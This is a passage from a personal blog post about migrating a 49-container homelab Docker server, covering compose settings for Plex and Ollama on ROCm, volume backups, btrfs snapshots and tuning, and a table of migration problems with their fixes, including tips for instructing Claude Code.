    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>A detail that almost broke me: Plex stores absolute paths in its database. If the container&rsquo;s internal volume changed from <code>/media</code> to <code>/data</code>, Plex no longer finds anything. You have to use exactly the same mount target as the old compose.</p>
<h3>Ollama with ROCm<span class="hx:absolute hx:-mt-20" id="ollama-with-rocm"></span>
    <a href="#ollama-with-rocm" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>New stack, didn&rsquo;t exist on the previous server:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">ollama</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l">ollama/ollama:rocm</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">container_name</span><span class="p">:</span><span class="w"> </span><span class="l">ollama</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">devices</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span>- <span class="l">/dev/kfd:/dev/kfd</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span>- <span class="l">/dev/dri:/dev/dri</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">security_opt</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span>- <span class="l">seccomp:unconfined</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span>- <span class="l">label:disable</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">group_add</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span>- <span class="s2">&#34;485&#34;</span><span class="w">   </span><span class="c"># render group GID</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span>- <span class="s2">&#34;488&#34;</span><span class="w">   </span><span class="c"># video group GID</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">environment</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span>- <span class="l">HSA_OVERRIDE_GFX_VERSION=11.5.1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span>- <span class="l">PYTORCH_ROCM_ARCH=gfx1151</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span>- <span class="l">OLLAMA_KEEP_ALIVE=30m</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span>- <span class="l">OLLAMA_NUM_PARALLEL=4</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span>- <span class="l">OLLAMA_FLASH_ATTENTION=1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span>- <span class="l">OLLAMA_KV_CACHE_TYPE=q8_0</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">volumes</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span>- <span class="l">/var/lib/ollama:/root/.ollama</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">ports</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span>- <span class="s2">&#34;11434:11434&#34;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><code>OLLAMA_FLASH_ATTENTION=1</code> activates flash attention. <code>OLLAMA_KV_CACHE_TYPE=q8_0</code> uses 8-bit KV cache, cutting the bandwidth needed per token in half. Free performance optimizations.</p>
<h3>Monitoring (Grafana + Prometheus)<span class="hx:absolute hx:-mt-20" id="monitoring-grafana--prometheus"></span>
    <a href="#monitoring-grafana--prometheus" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Grafana uses a named volume (<code>grafana_data</code>) which is NOT included in normal filesystem backups. That&rsquo;s the reason I lost all my dashboards on the first attempt. The fix is an explicit backup of the named volume:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># On the old server:</span>
</span></span><span class="line"><span class="cl">docker run --rm -v grafana_data:/data:ro -v /tmp:/backup alpine <span class="se">\
</span></span></span><span class="line"><span class="cl">  tar czf /backup/grafana_data.tar.gz -C /data .
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Transfer and restore on the new one:</span>
</span></span><span class="line"><span class="cl">docker run --rm -v grafana_data:/data -v /tmp:/backup alpine <span class="se">\
</span></span></span><span class="line"><span class="cl">  sh -c <span class="s2">&#34;cd /data &amp;&amp; tar xzf /backup/grafana_data.tar.gz&#34;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Same thing for Portainer (<code>portainer_data</code>). Any volume defined in the <code>volumes:</code> block of a compose without a host path needs this treatment.</p>
<h3>Cloudflare Tunnel<span class="hx:absolute hx:-mt-20" id="cloudflare-tunnel"></span>
    <a href="#cloudflare-tunnel" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>I use <a href="https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/"target="_blank" rel="noopener">Cloudflare Tunnel</a> to access all the services from outside the house without opening ports on the router. The migration was the easiest part: copy the tunnel&rsquo;s JSON credentials file and the <code>config.yml</code>, update the IPs from <code>.145</code> to <code>.90</code>, and bring the container up. The tunnel keeps the same ID, no need to recreate DNS.</p>
<p>The hostnames live in <code>config.yml</code>: portainer, grafana, plex, seerr, qbittorrent, syncthing, radarr, sonarr, bazarr, prowlarr, vault, gitea, kavita, and others. Everything accessible via <code>https://&lt;service&gt;.example.com</code> from anywhere.</p>
<h3>Gitea (image registry)<span class="hx:absolute hx:-mt-20" id="gitea-image-registry"></span>
    <a href="#gitea-image-registry" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p><a href="https://github.com/go-gitea/gitea"target="_blank" rel="noopener">Gitea</a> acts as a private Docker registry on port 3007. The Frank FBI, Frank Mega, Frank Yomik and Mila projects have Docker images that are built and pushed to Gitea. For it to work, Docker&rsquo;s <code>daemon.json</code> needs:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;insecure-registries&#34;</span><span class="p">:</span> <span class="p">[</span><span class="s2">&#34;192.168.0.90:3007&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Gitea SSH gave me a problem during the migration: the old app.ini had <code>SSH_LISTEN_PORT=22</code>, but the container&rsquo;s entrypoint also starts sshd on port 22. Conflict. Fix: <code>GITEA__server__SSH_LISTEN_PORT=2222</code> as an environment variable in compose.</p>
<h3>All 49 containers running<span class="hx:absolute hx:-mt-20" id="all-49-containers-running"></span>
    <a href="#all-49-containers-running" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>The migrated server runs 49 containers across 15 stacks. The media stack alone has 10 containers (<a href="https://www.plex.tv/"target="_blank" rel="noopener">Plex</a>, <a href="https://github.com/Radarr/Radarr"target="_blank" rel="noopener">Radarr</a>, <a href="https://github.com/Sonarr/Sonarr"target="_blank" rel="noopener">Sonarr</a>, <a href="https://github.com/morpheus65535/bazarr"target="_blank" rel="noopener">Bazarr</a>, <a href="https://github.com/Prowlarr/Prowlarr"target="_blank" rel="noopener">Prowlarr</a>, <a href="https://github.com/qbittorrent/qBittorrent"target="_blank" rel="noopener">qBittorrent</a>, <a href="https://github.com/sabnzbd/sabnzbd"target="_blank" rel="noopener">SABnzbd</a>, <a href="https://github.com/Jackett/Jackett"target="_blank" rel="noopener">Jackett</a>, <a href="https://github.com/FlareSolverr/FlareSolverr"target="_blank" rel="noopener">FlareSolverr</a>, <a href="https://github.com/seerr/seerr"target="_blank" rel="noopener">Seerr</a>). The personal projects (<a href="https://github.com/akitaonrails/frank_fbi"target="_blank" rel="noopener">Frank FBI</a>, <a href="/en/2026/02/21/vibe-code-built-a-mega-clone-in-rails-in-1-day-frankmega/">Frank Mega</a>, <a href="https://github.com/akitaonrails/FrankYomik"target="_blank" rel="noopener">Frank Yomik</a>, Mila) add another 11. Monitoring with <a href="https://github.com/grafana/grafana"target="_blank" rel="noopener">Grafana</a>, <a href="https://github.com/prometheus/prometheus"target="_blank" rel="noopener">Prometheus</a>, node-exporter and <a href="https://github.com/google/cadvisor"target="_blank" rel="noopener">cAdvisor</a>. Utilities like <a href="https://github.com/portainer/portainer"target="_blank" rel="noopener">Portainer</a>, <a href="https://github.com/dani-garcia/vaultwarden"target="_blank" rel="noopener">Vaultwarden</a>, <a href="https://github.com/syncthing/syncthing"target="_blank" rel="noopener">Syncthing</a>, <a href="https://github.com/causefx/Organizr"target="_blank" rel="noopener">Organizr</a>, <a href="https://github.com/containrrr/watchtower"target="_blank" rel="noopener">Watchtower</a>. <a href="https://github.com/go-gitea/gitea"target="_blank" rel="noopener">Gitea</a> as private Docker registry. <a href="https://github.com/immich-app/immich"target="_blank" rel="noopener">Immich</a> as self-hosted Google Photos. <a href="https://github.com/oae/kaizoku"target="_blank" rel="noopener">Kaizoku</a> for manga with <a href="https://github.com/Kareadita/Kavita"target="_blank" rel="noopener">Kavita</a> as the reader. <a href="https://github.com/ollama/ollama"target="_blank" rel="noopener">Ollama</a> with ROCm. And <a href="https://github.com/bitcoin/bitcoin"target="_blank" rel="noopener">Bitcoin Core</a>/<a href="https://github.com/cculianu/Fulcrum"target="_blank" rel="noopener">Fulcrum</a> indexing the blockchain off the NAS.</p>
<h2>Backups: two layers<span class="hx:absolute hx:-mt-20" id="backups-two-layers"></span>
    <a href="#backups-two-layers" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><h3>Layer 1: local btrfs snapshots (snapper)<span class="hx:absolute hx:-mt-20" id="layer-1-local-btrfs-snapshots-snapper"></span>
    <a href="#layer-1-local-btrfs-snapshots-snapper" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p><code>/var</code> lives on a 3.7TB btrfs partition. snapper creates automatic snapshots: 7 daily + 1 weekly. They&rsquo;re crash-consistent, not application-consistent (postgres can be slightly inconsistent if there&rsquo;s heavy writing during the snapshot).</p>
<p>To recover an accidentally deleted file:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo snapper -c var list
</span></span><span class="line"><span class="cl">sudo cp /var/.snapshots/5/snapshot/opt/docker/media/radarr/appdata/config/radarr.db <span class="se">\
</span></span></span><span class="line"><span class="cl">        /var/opt/docker/media/radarr/appdata/config/radarr.db</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>For a full stack rollback:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo docker compose -p media down
</span></span><span class="line"><span class="cl">sudo snapper -c var undochange 7..0 /var/opt/docker/media
</span></span><span class="line"><span class="cl">sudo docker compose -p media up -d</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>Layer 2: restic to the NAS (off-machine)<span class="hx:absolute hx:-mt-20" id="layer-2-restic-to-the-nas-off-machine"></span>
    <a href="#layer-2-restic-to-the-nas-off-machine" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p><a href="https://github.com/restic/restic"target="_blank" rel="noopener">restic</a> runs every night at 3am, doing incremental backups to <code>/var/mnt/terachad/homelab-backups/</code>. Retention: 7 daily + 4 weekly. Content-based deduplication, so Plex config (19GB) and Gitea repos (12GB) only transfer deltas.</p>
<p>Before restic runs, a <code>pg_dump</code> exports the postgres databases (Immich, Kaizoku). The dumps go to <code>/tmp/homelab-db-dumps/</code> and are included in the backup.</p>
<p>What&rsquo;s NOT included in the backup (re-downloadable): Bitcoin blockchain (785GB on the NAS), Docker images (re-pullable), Ollama models (re-downloadable), HuggingFace/EasyOCR caches, Plex transcoding scratch.</p>
<p>Large re-downloadable directories were converted to btrfs subvolumes so snapper ignores them: <code>/var/lib/ollama</code> and <code>/var/opt/docker/bitcoin/fulcrum/fulc2_db</code>.</p>
<h2>Performance tuning<span class="hx:absolute hx:-mt-20" id="performance-tuning"></span>
    <a href="#performance-tuning" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><h3>btrfs with zstd compression<span class="hx:absolute hx:-mt-20" id="btrfs-with-zstd-compression"></span>
    <a href="#btrfs-with-zstd-compression" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Added <code>compress=zstd:1</code> to the fstab for the <code>/var</code> partition. zstd level 1 has near-zero CPU overhead on NVMe and compresses Docker metadata, JSON configs and logs nicely. Incompressible data (SQLite, postgres) is automatically skipped by btrfs.</p>
<h3>zram swap<span class="hx:absolute hx:-mt-20" id="zram-swap"></span>
    <a href="#zram-swap" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>With ~30GB of RAM available for the system (96GB go to VRAM), in-memory compressed swap helps. zram creates a ~15GB swap device (ram/2) with zstd compression, much faster than disk swap.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ini" data-lang="ini"><span class="line"><span class="cl"><span class="c1"># /etc/systemd/zram-generator.conf</span>
</span></span><span class="line"><span class="cl"><span class="k">[zram0]</span>
</span></span><span class="line"><span class="cl"><span class="na">zram-size</span> <span class="o">=</span> <span class="s">ram / 2</span>
</span></span><span class="line"><span class="cl"><span class="na">compression-algorithm</span> <span class="o">=</span> <span class="s">zstd</span>
</span></span><span class="line"><span class="cl"><span class="na">swap-priority</span> <span class="o">=</span> <span class="s">100</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>btrfs nodatacow on database directories<span class="hx:absolute hx:-mt-20" id="btrfs-nodatacow-on-database-directories"></span>
    <a href="#btrfs-nodatacow-on-database-directories" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Copy-on-write + random database writes = write amplification. I disabled CoW on the directories that hold SQLite and postgres:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo chattr +C /var/opt/docker/gitea/data/gitea.db
</span></span><span class="line"><span class="cl">sudo chattr +C /var/opt/docker/immich/db/
</span></span><span class="line"><span class="cl">sudo chattr +C /var/opt/docker/media/radarr/appdata/config/</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>CPU in performance mode<span class="hx:absolute hx:-mt-20" id="cpu-in-performance-mode"></span>
    <a href="#cpu-in-performance-mode" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>On a headless server, there&rsquo;s no point saving energy:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nb">echo</span> performance <span class="p">|</span> sudo tee /sys/devices/system/cpu/cpu*/cpufreq/energy_performance_preference</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Persisted via systemd service <code>cpu-epp.service</code>.</p>
<h3>Docker shutdown fix<span class="hx:absolute hx:-mt-20" id="docker-shutdown-fix"></span>
    <a href="#docker-shutdown-fix" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>A problem I discovered: Docker ships with <code>KillMode=process</code>, which means at system shutdown, systemd kills only dockerd and leaves all the <code>containerd-shim</code> processes (one per container, ~49 in my case) orphaned. systemd-shutdown then has to hunt them down one by one after the journal has already stopped, causing a silent multi-minute hang.</p>
<p>Fix:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ini" data-lang="ini"><span class="line"><span class="cl"><span class="c1"># /etc/systemd/system/docker.service.d/shutdown.conf</span>
</span></span><span class="line"><span class="cl"><span class="k">[Service]</span>
</span></span><span class="line"><span class="cl"><span class="na">KillMode</span><span class="o">=</span><span class="s">control-group</span>
</span></span><span class="line"><span class="cl"><span class="na">TimeoutStopSec</span><span class="o">=</span><span class="s">30</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h2>The problems we ran into<span class="hx:absolute hx:-mt-20" id="the-problems-we-ran-into"></span>
    <a href="#the-problems-we-ran-into" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>This is the table of actual problems we hit during the migration. If you&rsquo;re planning something similar, read it before starting:</p>
<table>
  <thead>
      <tr>
          <th>Problem</th>
          <th>Cause</th>
          <th>Fix</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>ROCm only sees 15.5GB of VRAM</td>
          <td>Kernel TTM caps pages even with BIOS at 96GB</td>
          <td>Add <code>amdttm.pages_limit=25165824</code> to kernel cmdline</td>
      </tr>
      <tr>
          <td>Every container: permission denied on volumes</td>
          <td>SELinux <code>container_t</code> can&rsquo;t write to unlabeled paths</td>
          <td><code>security_opt: label:disable</code> on every service</td>
      </tr>
      <tr>
          <td>NFS with <code>:Z</code> silently fails</td>
          <td>NFS doesn&rsquo;t support SELinux xattrs</td>
          <td>Never use <code>:Z</code> on NFS paths</td>
      </tr>
      <tr>
          <td>SQLite breaks with <code>:Z</code></td>
          <td>Relabeling changes the context, WAL mode fails</td>
          <td>Drop <code>:Z</code>, use <code>label:disable</code></td>
      </tr>
      <tr>
          <td>Radarr/Sonarr showed the setup screen</td>
          <td>Backup at <code>appdata/config/</code> but compose mounted <code>appdata/</code></td>
          <td>Fix to: <code>appdata/config:/config</code></td>
      </tr>
      <tr>
          <td>Grafana lost dashboards</td>
          <td>Named volume not included in filesystem backup</td>
          <td>Explicit named volume backup</td>
      </tr>
      <tr>
          <td>Plex can&rsquo;t find media</td>
          <td>Internal path changed from <code>/media</code> to <code>/data</code></td>
          <td>Restore the original path in compose</td>
      </tr>
      <tr>
          <td>Seerr can&rsquo;t connect to Plex</td>
          <td>macvlan isolated from the bridge network</td>
          <td>Add <code>default: {}</code> to Plex networks</td>
      </tr>
      <tr>
          <td>Fulcrum crash: &ldquo;option -b missing&rdquo;</td>
          <td>Env vars not supported by the image</td>
          <td>Use CLI flags in <code>command:</code></td>
      </tr>
      <tr>
          <td>bitcoind rejects RPC</td>
          <td>Binds on <code>::1</code> by default</td>
          <td>Add <code>-rpcbind=0.0.0.0 -rpcallowip=172.0.0.0/8</code></td>
      </tr>
      <tr>
          <td>sdbootutil warning in transactional shell</td>
          <td>Has to run outside the transaction</td>
          <td>Run <code>sdbootutil update-all-entries</code> in the normal shell</td>
      </tr>
      <tr>
          <td>Watchtower permission denied on docker.sock</td>
          <td>SELinux blocks socket access</td>
          <td><code>label:disable</code></td>
      </tr>
      <tr>
          <td>Gitea SSH crash</td>
          <td>Conflict: entrypoint sshd on port 22 + app on port 22</td>
          <td><code>GITEA__server__SSH_LISTEN_PORT=2222</code></td>
      </tr>
      <tr>
          <td>docker-compose not installed with Docker</td>
          <td>The openSUSE package only installs the daemon</td>
          <td>Install standalone binary manually</td>
      </tr>
  </tbody>
</table>
<h2>What to tell Claude Code before you start<span class="hx:absolute hx:-mt-20" id="what-to-tell-claude-code-before-you-start"></span>
    <a href="#what-to-tell-claude-code-before-you-start" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>If I were redoing the migration from scratch, I&rsquo;d give Claude Code these instructions on the very first message. In order of importance:</p>
<p>Tell it that SELinux is enforcing and that it should NEVER use <code>:Z</code> on any Docker volume, but rather <code>security_opt: label:disable</code> on every service. Tell it that <code>/var/mnt/terachad/</code> is an NFS mount and that <code>:Z</code> should never appear on NFS paths. Tell it to always look at the original compose before rewriting and only change IPs, paths and container names, without inventing new volume layouts. Warn that named volumes need explicit backup (Grafana, Portainer). Explain that Plex runs on macvlan and needs <code>default: {}</code> in the networks. Inform that the GPU is gfx1151, not officially supported, and that it needs UMA 96GB in the BIOS + kernel TTM params + <code>HSA_OVERRIDE_GFX_VERSION=11.5.1</code>. And tell it that Bitcoin/Fulcrum don&rsquo;t process environment variables, everything goes as an argument in <code>command:</code>.</p>
<p>Those instructions would have prevented 80% of the problems we hit.</p>
<h2>Final server layout<span class="hx:absolute hx:-mt-20" id="final-server-layout"></span>
    <a href="#final-server-layout" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>/var/opt/docker/
├── bitcoin/          (bitcoind &#43; fulcrum)
├── cloudflared/      (Cloudflare tunnel)
├── frank_fbi/        (email fraud analysis)
├── frank_mega/       (Mega clone)
├── frank_yomik/      (manga translation)
├── gitea/            (Docker registry)
├── immich/           (self-hosted Google Photos)
├── kaizoku/          (manga downloader &#43; reader)
├── media/            (Plex &#43; *arr stack)
├── mila/             (Discord bot)
├── monitor/          (Grafana &#43; Prometheus)
├── ollama/           (local LLM with ROCm)
├── rip/              (HandBrake)
└── utils/            (Portainer, Vaultwarden, Syncthing, etc.)

/var/mnt/terachad/    (Synology NFS)
├── Bitcoin/data/     (blockchain, 785GB)
├── Downloads/        (torrents &#43; nzbget)
├── Videos/           (Radarr movies &#43; Sonarr series)
└── Ollama/models/    (model overflow if local disk fills up)</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
